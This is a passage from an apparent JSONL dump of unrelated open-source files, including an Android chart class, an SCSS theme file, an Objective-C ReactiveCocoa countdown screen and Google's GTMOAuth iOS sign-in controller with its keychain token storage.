HAVE_ERRNO_H\n errno = 0;\n#endif\n *val = strtol(eq + 1, NULL, 0);\n#ifdef HAVE_ERRNO_H\n if(errno)\n return(1);\n#endif\n }\n if(negate)\n *val = !*val;\n\n return(0);\n}\n"} +{"text": "package com.daivd.chart.provider.component.cross;\n\nimport android.graphics.Canvas;\nimport android.graphics.Paint;\nimport android.graphics.PointF;\nimport android.graphics.Rect;\n\nimport com.daivd.chart.data.style.LineStyle;\n\n/**\n * Created by huang on 2017/10/19.\n * 双方向\n */\n\npublic class DoubleDriCross implements ICross{\n\n LineStyle crossStyle = new LineStyle();\n @Override\n public void drawCross(Canvas canvas, PointF pointF, Rect rect, Paint paint) {\n crossStyle.fillPaint(paint);\n canvas.drawLine(pointF.x, rect.top, pointF.x, rect.bottom, paint);\n canvas.drawLine(rect.left, pointF.y, rect.right, pointF.y, paint);\n }\n\n public LineStyle getCrossStyle() {\n return crossStyle;\n }\n\n public void setCrossStyle(LineStyle crossStyle) {\n this.crossStyle = crossStyle;\n }\n}\n"} +{"text": "/** \n Amexio Colors v2.0. Copyright (c) 2018-19 MetaMagic Global Inc, NJ, USA \n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n\n This program and the accompanying materials are licensed under\n the terms of the Apache 2 License version 2.0 as published by the Apache\n Software Foundation.\n*/\n\n\n/** Initialze Theme variables ------------ */\n@import \"../mda/at-md-z-ce-cas-dark-red-init.scss\";\n\n\n/** Initialze HTML variables ------------ */\n@import \"../def/common.scss\";\n\n/** Initialze Component variables ------------ */\n@import \"../def/amexio.forminputs.scss\";\n@import \"../def/amexio.enterprise.scss\";\n@import \"../def/amexio.data.scss\";\n@import \"../def/amexio.nav.scss\";\n\n/** Initialze Panels and Layouts variables ------------ */\n@import \"../def/amexio.panes.scss\";\n@import \"../def/amexio.layouts.scss\";\n\n/** Initialze Animation variables ------------ */\n@import \"../def/amexio.animation.scss\";\n\n/** Initialze Responsive Design variables ------------ */\n@import \"../def/amexio.media.query.scss\";\n\n/** Initialze Creative Components ------------ */\n@import \"../def/amexio.creative.scss\";\n/** \n Amexio Colors v2.0 Updated on April 10, 2019.\n Amexio Support ---------------------------------- \n Contact : amexiosupport@metamagic.in \n Home : http://www.amexio.tech/\n API Docs : http://api.amexio.tech/\n Demos : http://demo.amexio.tech/\n Source : https://github.com/meta-magic/amexio.github.io\n*/\n"} +{"text": "\n\n \n \n The \"%service_id%\" service is deprecated since sonata-project/core-bundle 3.19 and will be removed in 4.0.\n \n \n \n The \"%service_id%\" service is deprecated since sonata-project/core-bundle 3.19 and will be removed in 4.0.\n \n \n \n\n"} +{"text": "//\n// MPTCountDownViewController.m\n// MobileProject\n//\n// Created by wujunyang on 2017/3/27.\n// Copyright © 2017年 wujunyang. All rights reserved.\n//\n\n#import \"MPTCountDownViewController.h\"\n\n@interface MPTCountDownViewController ()\n@property(strong,nonatomic)UITextField *myTextField;\n@property(strong,nonatomic)UIButton *myButton;\n@end\n\n@implementation MPTCountDownViewController\n\n- (void)viewDidLoad {\n [super viewDidLoad];\n \n self.view.backgroundColor=[UIColor whiteColor];\n \n //布局\n [self.view addSubview:self.myTextField];\n [self.view addSubview:self.myButton];\n \n [self.myTextField mas_makeConstraints:^(MASConstraintMaker *make) {\n make.top.mas_equalTo(100);\n make.width.mas_equalTo(200);\n make.left.mas_equalTo(10);\n make.height.mas_equalTo(44);\n }];\n \n [self.myButton mas_makeConstraints:^(MASConstraintMaker *make) {\n make.centerY.mas_equalTo(self.myTextField);\n make.left.mas_equalTo(self.myTextField.right).offset(10);\n make.height.mas_equalTo(44);\n }];\n \n //绑定RAC\n [self bindRac];\n}\n\n- (void)didReceiveMemoryWarning {\n [super didReceiveMemoryWarning];\n}\n\n\n#pragma mark 绑定RAC\n\n-(void)bindRac\n{\n //倒计时的效果\n RACSignal *(^counterSigner)(NSNumber *count)=^RACSignal *(NSNumber *count)\n {\n RACSignal *timerSignal=[RACSignal interval:1 onScheduler:RACScheduler.mainThreadScheduler];\n RACSignal *counterSignal=[[timerSignal scanWithStart:count reduce:^id(NSNumber *running, id next) {\n return @(running.integerValue -1);\n }] takeUntilBlock:^BOOL(NSNumber *x) {\n return x.integerValue<0;\n }];\n \n return [counterSignal startWith:count];\n };\n \n \n RACSignal *enableSignal=[self.myTextField.rac_textSignal map:^id(NSString *value) {\n return @(value.length==11);\n }];\n \n RACCommand *command=[[RACCommand alloc]initWithEnabled:enableSignal signalBlock:^RACSignal *(id input) {\n return counterSigner(@10);\n }];\n \n RACSignal *counterStringSignal=[[command.executionSignals switchToLatest] map:^id(NSNumber *value) {\n return [value stringValue];\n }];\n \n RACSignal *resetStringSignal=[[command.executing filter:^BOOL(NSNumber *value) {\n return !value.boolValue;\n }] mapReplace:@\"点击获得验证码\"];\n \n //[self.myButton rac_liftSelector:@selector(setTitle:forState:) withSignals:[RACSignal merge:@[counterStringSignal,resetStringSignal]],[RACSignal return:@(UIControlStateNormal)],nil];\n \n //上面也可以写成下面这样\n @weakify(self);\n [[RACSignal merge:@[counterStringSignal,resetStringSignal]] subscribeNext:^(id x) {\n @strongify(self);\n [self.myButton setTitle:x forState:UIControlStateNormal];\n }];\n \n self.myButton.rac_command=command;\n \n \n //编写关于委托的编写方式 是在self上面进行rac_signalForSelector\n [[self\n rac_signalForSelector:@selector(textFieldShouldReturn:)\n fromProtocol:@protocol(UITextFieldDelegate)]\n \tsubscribeNext:^(RACTuple *tuple) {\n @strongify(self)\n if (tuple.first == self.myTextField)\n {\n NSLog(@\"触发\");\n };\n }];\n \n self.myTextField.delegate = self;\n}\n\n#pragma mark 自定义代码\n\n-(UITextField *)myTextField\n{\n if (!_myTextField) {\n _myTextField=[[UITextField alloc]init];\n _myTextField.backgroundColor=[UIColor grayColor];\n _myTextField.clearButtonMode=UITextFieldViewModeWhileEditing;\n _myTextField.placeholder=@\"输入11位手机号\";\n }\n return _myTextField;\n}\n\n-(UIButton *)myButton\n{\n if (!_myButton) {\n _myButton=[UIButton new];\n [_myButton setTitleColor:[UIColor blueColor] forState:UIControlStateNormal];\n [_myButton setTitle:@\"获得验证码\" forState:UIControlStateNormal];\n }\n return _myButton;\n}\n\n@end\n"} +{"text": "/* Copyright (c) 2010 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n//\n// GTMOAuthViewControllerTouch.m\n//\n\n#import \n#import \n\n#if TARGET_OS_IPHONE\n\n// If you want to shave a few bytes, and you include GTMOAuthViewTouch.xib\n// in your project, then you can define this as 0 in your prefix file.\n#ifndef GTL_CONSTRUCT_OAUTH_VIEWS_IN_SOURCE_CODE\n#define GTL_CONSTRUCT_OAUTH_VIEWS_IN_SOURCE_CODE 1\n#endif\n\n#define GTMOAUTHVIEWCONTROLLERTOUCH_DEFINE_GLOBALS 1\n#import \"GTMOAuthViewControllerTouch.h\"\n\n#import \"GTMOAuthSignIn.h\"\n#import \"GTMOAuthAuthentication.h\"\n\nstatic NSString * const kGTLOAuthAccountName = @\"OAuth\";\nstatic GTMOAuthKeychain* sDefaultKeychain = nil;\n\n// If the Interface Builder .xib is compiled in to the app, it overrides this code.\n#if GTL_CONSTRUCT_OAUTH_VIEWS_IN_SOURCE_CODE\n// Wrappers for calls deprecated in 3.0\n@interface UIButton(GTMOAuthViewControllerTouch)\n- (void)oauthCompatibilitySetFont:(UIFont *)font;\n- (void)oauthCompatibilitySetTitleShadowOffset:(CGSize)offset;\n@end\n\n\n@implementation UIButton(GTMOAuthViewControllerTouch)\n- (void)oauthCompatibilitySetFont:(UIFont *)font {\n id label = self;\n if ([self respondsToSelector:@selector(titleLabel)]) {\n label = [self performSelector:@selector(titleLabel)];\n }\n // OK to send to button in 2.0, but prefer sending to label.\n [label setFont:font];\n}\n\n- (void)oauthCompatibilitySetTitleShadowOffset:(CGSize)offset {\n id label = self;\n if ([self respondsToSelector:@selector(titleLabel)]) {\n label = [self performSelector:@selector(titleLabel)];\n }\n // OK to send to button in 2.0, but prefer sending to label.\n [label setShadowOffset:offset];\n}\n@end\n\n#endif // GTL_CONSTRUCT_OAUTH_VIEWS_IN_SOURCE_CODE\n\n\n@interface GTMOAuthViewControllerTouch()\n\n@property (nonatomic, copy) NSURLRequest *request;\n\n- (void)signIn:(GTMOAuthSignIn *)signIn displayRequest:(NSURLRequest *)request;\n- (void)signIn:(GTMOAuthSignIn *)signIn\nfinishedWithAuth:(GTMOAuthAuthentication *)auth\n error:(NSError *)error; \n- (BOOL)isNavigationBarTranslucent;\n- (void)moveWebViewFromUnderNavigationBar;\n- (void)popView;\n- (void)clearBrowserCookies;\n@end\n\n@implementation GTMOAuthViewControllerTouch\n\n@synthesize request = request_;\n@synthesize keychainApplicationServiceName = keychainApplicationServiceName_;\n@synthesize initialHTMLString = initialHTMLString_;\n@synthesize browserCookiesURL = browserCookiesURL_;\n@synthesize signIn = signIn_;\n@synthesize userData = userData_;\n@synthesize webView = webView_;\n\n\n- (id)initWithScope:(NSString *)scope\n language:(NSString *)language\n requestTokenURL:(NSURL *)requestURL\n authorizeTokenURL:(NSURL *)authorizeURL\n accessTokenURL:(NSURL *)accessURL\n authentication:(GTMOAuthAuthentication *)auth\n appServiceName:(NSString *)keychainAppServiceName\n delegate:(id)delegate\n finishedSelector:(SEL)finishedSelector {\n\n NSString *nibName = [[self class] authNibName];\n\n self = [super initWithNibName:nibName bundle:nil];\n if (self != nil) {\n delegate_ = [delegate retain];\n finishedSelector_ = finishedSelector;\n\n if (auth) {\n [auth setScope:scope];\n\n // use the supplied auth and OAuth endpoint URLs\n signIn_ = [[GTMOAuthSignIn alloc] initWithAuthentication:auth\n requestTokenURL:requestURL\n authorizeTokenURL:authorizeURL\n accessTokenURL:accessURL\n delegate:self\n webRequestSelector:@selector(signIn:displayRequest:)\n finishedSelector:@selector(signIn:finishedWithAuth:error:)];\n } else {\n NSAssert(0, @\"auth object required\");\n }\n\n // the display name defaults to the bundle's name\n NSBundle *bundle = [NSBundle mainBundle];\n NSString *displayName = [bundle objectForInfoDictionaryKey:@\"CFBundleDisplayName\"];\n if ([displayName length] == 0) {\n displayName = [bundle objectForInfoDictionaryKey:@\"CFBundleName\"];\n if ([displayName length] == 0) {\n displayName = [[bundle executablePath] lastPathComponent];\n }\n }\n [self setDisplayName:displayName];\n\n [self setKeychainApplicationServiceName:keychainAppServiceName];\n }\n return self;\n}\n\n#if NS_BLOCKS_AVAILABLE\n- (id)initWithScope:(NSString *)scope\n language:(NSString *)language\n requestTokenURL:(NSURL *)requestURL\n authorizeTokenURL:(NSURL *)authorizeURL\n accessTokenURL:(NSURL *)accessURL\n authentication:(GTMOAuthAuthentication *)auth\n appServiceName:(NSString *)keychainAppServiceName\n completionHandler:(void (^)(GTMOAuthViewControllerTouch *viewController, GTMOAuthAuthentication *auth, NSError *error))handler {\n\n // fall back to the non-blocks init\n self = [self initWithScope:scope\n language:language\n requestTokenURL:requestURL\n authorizeTokenURL:authorizeURL\n accessTokenURL:accessURL\n authentication:auth\n appServiceName:keychainAppServiceName\n delegate:nil\n finishedSelector:NULL];\n if (self) {\n completionBlock_ = [handler copy];\n }\n return self;\n}\n#endif\n\n- (void)dealloc {\n [backButton_ release];\n [forwardButton_ release];\n [navButtonsView_ release];\n [rightBarButtonItem_ release];\n [signIn_ setDelegate:nil];\n [signIn_ release];\n [request_ release];\n [delegate_ release];\n#if NS_BLOCKS_AVAILABLE\n [completionBlock_ release];\n#endif\n [keychainApplicationServiceName_ release];\n [initialHTMLString_ release];\n [userData_ release];\n [webView_ release];\n [super dealloc];\n}\n\n+ (NSString *)authNibName {\n // subclasses may override this to specify a custom nib name\n return @\"GTMOAuthViewTouch\";\n}\n\n+ (BOOL)authorizeFromKeychainForName:(NSString *)appServiceName\n authentication:(GTMOAuthAuthentication *)newAuth {\n [newAuth setToken:nil];\n [newAuth setHasAccessToken:NO];\n\n BOOL didGetTokens = NO;\n GTMOAuthKeychain *keychain = [GTMOAuthKeychain defaultKeychain];\n NSString *password = [keychain passwordForService:appServiceName\n account:kGTLOAuthAccountName\n error:nil];\n if (password != nil) {\n [newAuth setKeysForResponseString:password];\n [newAuth setHasAccessToken:YES];\n didGetTokens = YES;\n }\n return didGetTokens;\n}\n\n+ (BOOL)removeParamsFromKeychainForName:(NSString *)appServiceName {\n GTMOAuthKeychain *keychain = [GTMOAuthKeychain defaultKeychain];\n return [keychain removePasswordForService:appServiceName\n account:kGTLOAuthAccountName\n error:nil];\n}\n\n+ (BOOL)saveParamsToKeychainForName:(NSString *)appServiceName\n authentication:(GTMOAuthAuthentication *)auth {\n [self removeParamsFromKeychainForName:appServiceName];\n // don't save unless we have a token that can really authorize requests\n if (![auth hasAccessToken]) return NO;\n\n // make a response string containing the values we want to save\n NSString *password = [auth persistenceResponseString];\n GTMOAuthKeychain *keychain = [GTMOAuthKeychain defaultKeychain];\n return [keychain setPassword:password\n forService:appServiceName\n account:kGTLOAuthAccountName\n error:nil];\n}\n\n\n\n- (void)constructView {\n// If the Interface Builder .xib is compiled in to the app, it overrides this code.\n CGRect webFrame = [[UIScreen mainScreen] applicationFrame];\n UIView *view = [[[UIView alloc] initWithFrame:webFrame] autorelease];\n [view setAutoresizingMask:UIViewAutoresizingFlexibleLeftMargin |\n UIViewAutoresizingFlexibleWidth |\n UIViewAutoresizingFlexibleRightMargin |\n UIViewAutoresizingFlexibleTopMargin |\n UIViewAutoresizingFlexibleHeight |\n UIViewAutoresizingFlexibleBottomMargin];\n webFrame.origin = CGPointZero;\n UIWebView *webView = [[[UIWebView alloc] initWithFrame:webFrame] autorelease];\n [webView setAutoresizingMask:UIViewAutoresizingFlexibleLeftMargin |\n UIViewAutoresizingFlexibleWidth |\n UIViewAutoresizingFlexibleRightMargin |\n UIViewAutoresizingFlexibleTopMargin |\n UIViewAutoresizingFlexibleHeight |\n UIViewAutoresizingFlexibleBottomMargin];\n [self setView:view];\n [view addSubview:webView];\n [self setWebView:webView];\n [webView setDelegate:self];\n \n\n}\n\n- (void)loadView {\n\n [self constructView];\n}\n\n\n- (void)viewDidLoad {\n // the app may prefer some html other than blank white to be displayed\n // before the sign-in web page loads\n NSString *html = [self initialHTMLString];\n if ([html length] > 0) {\n [[self webView] loadHTMLString:html baseURL:nil];\n }\n\n [rightBarButtonItem_ setCustomView:navButtonsView_];\n [[self navigationItem] setRightBarButtonItem:rightBarButtonItem_];\n}\n\n- (void)popView {\n if (![[self view] isHidden]) {\n // Set the flag to our viewWillDisappear method so it knows\n // this is a disappearance initiated by the sign-in object,\n // not the user cancelling via the navigation controller\n didDismissSelf_ = YES;\n\n [[self view] setHidden:YES];\n }\n [self dismissModalViewControllerAnimated:YES];\n \n}\n\n- (void)cancelSigningIn {\n // The application has explicitly asked us to cancel signing in\n // (so no further callback is required)\n hasCalledFinished_ = YES;\n\n [delegate_ autorelease];\n delegate_ = nil;\n\n#if NS_BLOCKS_AVAILABLE\n [completionBlock_ autorelease];\n completionBlock_ = nil;\n#endif\n\n // The sign-in object's cancel method will close the window\n [signIn_ cancelSigningIn];\n hasDoneFinalRedirect_ = YES;\n}\n\n#pragma mark Browser Cookies\n\n- (void)clearBrowserCookies {\n // if browserCookiesURL is non-nil, then get cookies for that URL\n // and delete them from the common application cookie storage\n NSURL *cookiesURL = [self browserCookiesURL];\n if (cookiesURL) {\n NSHTTPCookieStorage *cookieStorage;\n\n cookieStorage = [NSHTTPCookieStorage sharedHTTPCookieStorage];\n NSArray *cookies = [cookieStorage cookiesForURL:cookiesURL];\n\n for (NSHTTPCookie *cookie in cookies) {\n [cookieStorage deleteCookie:cookie];\n }\n }\n}\n\n#pragma mark Accessors\n\n- (void)setDisplayName:(NSString *)displayName {\n GTMOAuthAuthentication *auth = [self authentication];\n [auth setDisplayName:displayName];\n}\n\n- (NSString *)displayName {\n return [[self authentication] displayName];\n}\n\n- (GTMOAuthAuthentication *)authentication {\n GTMOAuthAuthentication *auth = [signIn_ authentication];\n return auth;\n}\n\n- (void)setNetworkLossTimeoutInterval:(NSTimeInterval)val {\n [signIn_ setNetworkLossTimeoutInterval:val];\n}\n\n- (NSTimeInterval)networkLossTimeoutInterval {\n return [signIn_ networkLossTimeoutInterval];\n}\n\n- (BOOL)shouldUseKeychain {\n BOOL hasName = ([keychainApplicationServiceName_ length] > 0);\n return hasName;\n}\n\n#pragma mark SignIn callbacks\n\n- (void)signIn:(GTMOAuthSignIn *)signIn displayRequest:(NSURLRequest *)request {\n // this is the signIn object's webRequest method, telling the controller\n // to either display the request in the webview, or close the window\n //\n // All web requests and all window closing goes through this routine\n\n#if DEBUG\n if ([self navigationController]) {\n if ([[self navigationController] topViewController] != self && request != nil) {\n NSLog(@\"Unexpected: Request to show, when already on top. request %@\", [request URL]);\n } else if([[self navigationController] topViewController] != self && request == nil) {\n NSLog(@\"Unexpected: Request to pop, when not on top. request nil\");\n }\n }\n#endif\n\n if (request != nil) {\n const NSTimeInterval kJanuary2011 = 1293840000;\n BOOL isDateValid = ([[NSDate date] timeIntervalSince1970] > kJanuary2011);\n if (isDateValid) {\n // Display the request.\n [self setRequest:request];\n [[self webView] loadRequest:[self request]];\n } else {\n // clock date is invalid, so signing in would fail with an unhelpful error\n // from the server. Warn the user in an html string showing a watch icon,\n // question mark, and the system date and time. Hopefully this will clue\n // in brighter users, or at least give them a clue when they report the\n // problem to developers.\n //\n // Even better is for apps to check the system clock and show some more\n // helpful, localized instructions for users; this is really a fallback.\n NSString *html = @\"
    \"\n \"⌚ ?
    System Clock Incorrect
    %@\"\n \"
    \";\n NSString *errHTML = [NSString stringWithFormat:html, [NSDate date]];\n\n [[self webView] loadHTMLString:errHTML baseURL:nil];\n }\n } else {\n // request was nil.\n [self popView];\n }\n}\n\n- (void)signIn:(GTMOAuthSignIn *)signIn\n finishedWithAuth:(GTMOAuthAuthentication *)auth\n error:(NSError *)error {\n if (!hasCalledFinished_) {\n hasCalledFinished_ = YES;\n\n if (error == nil) {\n BOOL shouldUseKeychain = [self shouldUseKeychain];\n if (shouldUseKeychain) {\n NSString *appServiceName = [self keychainApplicationServiceName];\n if ([auth canAuthorize]) {\n // save the auth params in the keychain\n [[self class] saveParamsToKeychainForName:appServiceName authentication:auth];\n } else {\n // remove the auth params from the keychain\n [[self class] removeParamsFromKeychainForName:appServiceName];\n }\n }\n }\n\n if (delegate_ && finishedSelector_) {\n SEL sel = finishedSelector_;\n NSMethodSignature *sig = [delegate_ methodSignatureForSelector:sel];\n NSInvocation *invocation = [NSInvocation invocationWithMethodSignature:sig];\n [invocation setSelector:sel];\n [invocation setTarget:delegate_];\n [invocation setArgument:&self atIndex:2];\n [invocation setArgument:&auth atIndex:3];\n [invocation setArgument:&error atIndex:4];\n [invocation invoke];\n }\n\n [delegate_ autorelease];\n delegate_ = nil;\n\n#if NS_BLOCKS_AVAILABLE\n if (completionBlock_) {\n completionBlock_(self, auth, error);\n\n // release the block here to avoid a retain loop on the controller\n [completionBlock_ autorelease];\n completionBlock_ = nil;\n }\n#endif\n }\n}\n\n- (void)moveWebViewFromUnderNavigationBar {\n\n}\n\n// isTranslucent is defined in iPhoneOS 3.0 on.\n- (BOOL)isNavigationBarTranslucent {\n UINavigationBar *navigationBar = [[self navigationController] navigationBar];\n BOOL isTranslucent =\n ([navigationBar respondsToSelector:@selector(isTranslucent)] &&\n [navigationBar isTranslucent]);\n return isTranslucent;\n}\n\n#pragma mark -\n#pragma mark Protocol implementations\n\n- (void)viewWillAppear:(BOOL)animated {\n [super viewWillAppear:animated];\n if (!isViewShown_) {\n isViewShown_ = YES;\n if ([self isNavigationBarTranslucent]) {\n [self moveWebViewFromUnderNavigationBar];\n }\n if (![signIn_ startSigningIn]) {\n // Can't start signing in. We must pop our view.\n // UIWebview needs time to stabilize. Animations need time to complete.\n // We remove ourself from the view stack after that.\n [self performSelector:@selector(popView)\n withObject:nil\n afterDelay:0.5\n inModes:[NSArray arrayWithObject:NSRunLoopCommonModes]];\n }\n }\n [super viewWillAppear:animated];\n}\n\n- (void)viewWillDisappear:(BOOL)animated {\n if (!didDismissSelf_) {\n // We are not popping ourselves, so presumably we are being popped by the\n // navigation controller; tell the sign-in object to close up shop\n //\n // This will indirectly call our signIn:finishedWithAuth:error: method\n // for us\n [signIn_ windowWasClosed];\n }\n\n // Prevent the next sign-in from showing in the WebView that the user is\n // already signed in\n [self clearBrowserCookies];\n\n [super viewWillDisappear:animated];\n}\n\n- (BOOL)webView:(UIWebView *)webView\n shouldStartLoadWithRequest:(NSURLRequest *)request\n navigationType:(UIWebViewNavigationType)navigationType {\n\n if (!hasDoneFinalRedirect_) {\n hasDoneFinalRedirect_ = [signIn_ requestRedirectedToRequest:request];\n if (hasDoneFinalRedirect_) {\n // signIn has told the view to close\n return NO;\n }\n }\n return YES;\n}\n\n\n- (void)notifyWithName:(NSString *)name\n webView:(UIWebView *)webView\n kind:(NSString *)kind {\n BOOL isStarting = [name isEqual:kGTMOAuthWebViewStartedLoading];\n if (hasNotifiedWebViewStartedLoading_ == isStarting) {\n // Duplicate notification\n //\n // UIWebView's delegate methods are so unbalanced that there's little\n // point trying to keep a count, as it could easily end up stuck greater\n // than zero.\n //\n // We don't really have a way to track the starts and stops of\n // subframe loads, too, as the webView in the notification is always\n // for the topmost request.\n return;\n }\n hasNotifiedWebViewStartedLoading_ = isStarting;\n \n // Notification for webview load starting and stopping\n NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:\n webView, kGTMOAuthWebViewKey,\n kind, kGTMOAuthWebViewStopKindKey, // kind may be nil\n nil];\n NSNotificationCenter *nc = [NSNotificationCenter defaultCenter];\n [nc postNotificationName:name\n object:self\n userInfo:dict];\n}\n\n\n- (void)updateUI {\n [backButton_ setEnabled:[[self webView] canGoBack]];\n [forwardButton_ setEnabled:[[self webView] canGoForward]];\n}\n\n- (void)webViewDidStartLoad:(UIWebView *)webView {\n [self updateUI];\n \n [self notifyWithName:kGTMOAuthWebViewStartedLoading\n webView:webView\n kind:nil];\n}\n\n- (void)webViewDidFinishLoad:(UIWebView *)webView {\n [self updateUI];\n \n [self notifyWithName:kGTMOAuthWebViewStoppedLoading\n webView:webView\n kind:kGTMOAuthWebViewFinished];\n\n}\n\n@end\n\n\n#pragma mark Common Code\n\n@implementation GTMOAuthKeychain\n\n+ (GTMOAuthKeychain *)defaultKeychain {\n if (sDefaultKeychain == nil) {\n sDefaultKeychain = [[self alloc] init];\n }\n return sDefaultKeychain;\n}\n\n\n// For unit tests: allow setting a mock object\n+ (void)setDefaultKeychain:(GTMOAuthKeychain *)keychain {\n if (sDefaultKeychain != keychain) {\n [sDefaultKeychain release];\n sDefaultKeychain = [keychain retain];\n }\n}\n\n- (NSString *)keyForService:(NSString *)service account:(NSString *)account {\n return [NSString stringWithFormat:@\"com.google.GTMOAuth.%@%@\", service, account];\n}\n\n// The Keychain API isn't available on the iPhone simulator in SDKs before 3.0,\n// so, on early simulators we use a fake API, that just writes, unencrypted, to\n// NSUserDefaults.\n#if TARGET_IPHONE_SIMULATOR && __IPHONE_OS_VERSION_MAX_ALLOWED < 30000\n#pragma mark Simulator\n\n// Simulator - just simulated, not secure.\n- (NSString *)passwordForService:(NSString *)service account:(NSString *)account error:(NSError **)error {\n NSString *result = nil;\n if (0 < [service length] && 0 < [account length]) {\n NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];\n NSString *key = [self keyForService:service account:account];\n result = [defaults stringForKey:key];\n if (result == nil && error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:kGTLOAuthKeychainErrorNoPassword\n userInfo:nil];\n }\n } else if (error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:kGTLOAuthKeychainErrorBadArguments\n userInfo:nil];\n }\n return result;\n\n}\n\n\n// Simulator - just simulated, not secure.\n- (BOOL)removePasswordForService:(NSString *)service account:(NSString *)account error:(NSError **)error {\n BOOL didSucceed = NO;\n if (0 < [service length] && 0 < [account length]) {\n NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];\n NSString *key = [self keyForService:service account:account];\n [defaults removeObjectForKey:key];\n [defaults synchronize];\n } else if (error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:kGTLOAuthKeychainErrorBadArguments\n userInfo:nil];\n }\n return didSucceed;\n}\n\n// Simulator - just simulated, not secure.\n- (BOOL)setPassword:(NSString *)password\n forService:(NSString *)service\n account:(NSString *)account\n error:(NSError **)error {\n BOOL didSucceed = NO;\n if (0 < [password length] && 0 < [service length] && 0 < [account length]) {\n NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];\n NSString *key = [self keyForService:service account:account];\n [defaults setObject:password forKey:key];\n [defaults synchronize];\n didSucceed = YES;\n } else if (error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:kGTLOAuthKeychainErrorBadArguments\n userInfo:nil];\n }\n return didSucceed;\n}\n\n#else // ! TARGET_IPHONE_SIMULATOR\n#pragma mark Device\n\n+ (NSMutableDictionary *)keychainQueryForService:(NSString *)service account:(NSString *)account {\n NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:\n (id)kSecClassGenericPassword, (id)kSecClass,\n @\"OAuth\", (id)kSecAttrGeneric,\n account, (id)kSecAttrAccount,\n service, (id)kSecAttrService,\n nil];\n return query;\n}\n\n- (NSMutableDictionary *)keychainQueryForService:(NSString *)service account:(NSString *)account {\n return [[self class] keychainQueryForService:service account:account];\n}\n\n\n\n// iPhone\n- (NSString *)passwordForService:(NSString *)service account:(NSString *)account error:(NSError **)error {\n OSStatus status = kGTLOAuthKeychainErrorBadArguments;\n NSString *result = nil;\n if (0 < [service length] && 0 < [account length]) {\n CFDataRef passwordData = NULL;\n NSMutableDictionary *keychainQuery = [self keychainQueryForService:service account:account];\n [keychainQuery setObject:(id)kCFBooleanTrue forKey:(id)kSecReturnData];\n [keychainQuery setObject:(id)kSecMatchLimitOne forKey:(id)kSecMatchLimit];\n\n status = SecItemCopyMatching((CFDictionaryRef)keychainQuery,\n (CFTypeRef *)&passwordData);\n if (status == noErr && 0 < [(NSData *)passwordData length]) {\n result = [[[NSString alloc] initWithData:(NSData *)passwordData\n encoding:NSUTF8StringEncoding] autorelease];\n }\n if (passwordData != NULL) {\n CFRelease(passwordData);\n }\n }\n if (status != noErr && error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:status\n userInfo:nil];\n }\n return result;\n}\n\n\n// iPhone\n- (BOOL)removePasswordForService:(NSString *)service account:(NSString *)account error:(NSError **)error {\n OSStatus status = kGTLOAuthKeychainErrorBadArguments;\n if (0 < [service length] && 0 < [account length]) {\n NSMutableDictionary *keychainQuery = [self keychainQueryForService:service account:account];\n status = SecItemDelete((CFDictionaryRef)keychainQuery);\n }\n if (status != noErr && error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:status\n userInfo:nil];\n }\n return status == noErr;\n}\n\n// iPhone\n- (BOOL)setPassword:(NSString *)password\n forService:(NSString *)service\n account:(NSString *)account\n error:(NSError **)error {\n OSStatus status = kGTLOAuthKeychainErrorBadArguments;\n if (0 < [service length] && 0 < [account length]) {\n [self removePasswordForService:service account:account error:nil];\n if (0 < [password length]) {\n NSMutableDictionary *keychainQuery = [self keychainQueryForService:service account:account];\n NSData *passwordData = [password dataUsingEncoding:NSUTF8StringEncoding];\n [keychainQuery setObject:passwordData forKey:(id)kSecValueData];\n status = SecItemAdd((CFDictionaryRef)keychainQuery, NULL);\n }\n }\n if (status != noErr && error != NULL) {\n *error = [NSError errorWithDomain:kGTLOAuthKeychainErrorDomain\n code:status\n userInfo:nil];\n }\n return status == noErr;\n}\n\n#endif // ! TARGET_IPHONE_SIMULATOR\n\n@end\n\n#endif // TARGET_OS_IPHONE\n"} +{"text": "/*\n * Copyright (C) 2013 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.google.android.glass.sample.compass;\n\nimport com.google.android.glass.sample.compass.model.Landmarks;\nimport 